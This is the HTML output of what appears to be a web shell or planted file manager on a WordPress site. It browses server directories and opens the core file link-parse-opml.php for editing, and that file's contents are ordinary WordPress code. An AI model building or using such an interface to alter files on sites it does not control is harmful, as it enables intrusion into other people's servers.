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a { color:#6cf; text-decoration:none; }  
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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2F'>rds-service.at</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/</p><hr><h3>✏️ Editing: link-parse-opml.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Parse OPML XML files and store in globals.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	die();
}

/**
 * @global string $opml
 */
global $opml;

/**
 * Starts a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @global array $names
 * @global array $urls
 * @global array $targets
 * @global array $descriptions
 * @global array $feeds
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML element name.
 * @param array    $attrs    XML element attributes.
 */
function startElement( $parser, $tag_name, $attrs ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $names, $urls, $targets, $descriptions, $feeds;

	if ( &#039;OUTLINE&#039; === $tag_name ) {
		$name = &#039;&#039;;
		if ( isset( $attrs[&#039;TEXT&#039;] ) ) {
			$name = $attrs[&#039;TEXT&#039;];
		}
		if ( isset( $attrs[&#039;TITLE&#039;] ) ) {
			$name = $attrs[&#039;TITLE&#039;];
		}
		$url = &#039;&#039;;
		if ( isset( $attrs[&#039;URL&#039;] ) ) {
			$url = $attrs[&#039;URL&#039;];
		}
		if ( isset( $attrs[&#039;HTMLURL&#039;] ) ) {
			$url = $attrs[&#039;HTMLURL&#039;];
		}

		// Save the data away.
		$names[]        = $name;
		$urls[]         = $url;
		$targets[]      = isset( $attrs[&#039;TARGET&#039;] ) ? $attrs[&#039;TARGET&#039;] : &#039;&#039;;
		$feeds[]        = isset( $attrs[&#039;XMLURL&#039;] ) ? $attrs[&#039;XMLURL&#039;] : &#039;&#039;;
		$descriptions[] = isset( $attrs[&#039;DESCRIPTION&#039;] ) ? $attrs[&#039;DESCRIPTION&#039;] : &#039;&#039;;
	} // End if outline.
}

/**
 * Ends a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML tag name.
 */
function endElement( $parser, $tag_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	// Nothing to do.
}

// Create an XML parser.
if ( ! function_exists( &#039;xml_parser_create&#039; ) ) {
	wp_trigger_error( &#039;&#039;, __( &quot;PHP&#039;s XML extension is not available. Please contact your hosting provider to enable PHP&#039;s XML extension.&quot; ) );
	wp_die( __( &quot;PHP&#039;s XML extension is not available. Please contact your hosting provider to enable PHP&#039;s XML extension.&quot; ) );
}

$xml_parser = xml_parser_create();

// Set the functions to handle opening and closing tags.
xml_set_element_handler( $xml_parser, &#039;startElement&#039;, &#039;endElement&#039; );

if ( ! xml_parse( $xml_parser, $opml, true ) ) {
	printf(
		/* translators: 1: Error message, 2: Line number. */
		__( &#039;XML Error: %1$s at line %2$s&#039; ),
		xml_error_string( xml_get_error_code( $xml_parser ) ),
		xml_get_current_line_number( $xml_parser )
	);
}

if ( PHP_VERSION_ID &lt; 80000 ) { // xml_parser_free() has no effect as of PHP 8.0.
	// Free up memory used by the XML parser.
	xml_parser_free( $xml_parser );
}

unset( $xml_parser );
</textarea><br>  
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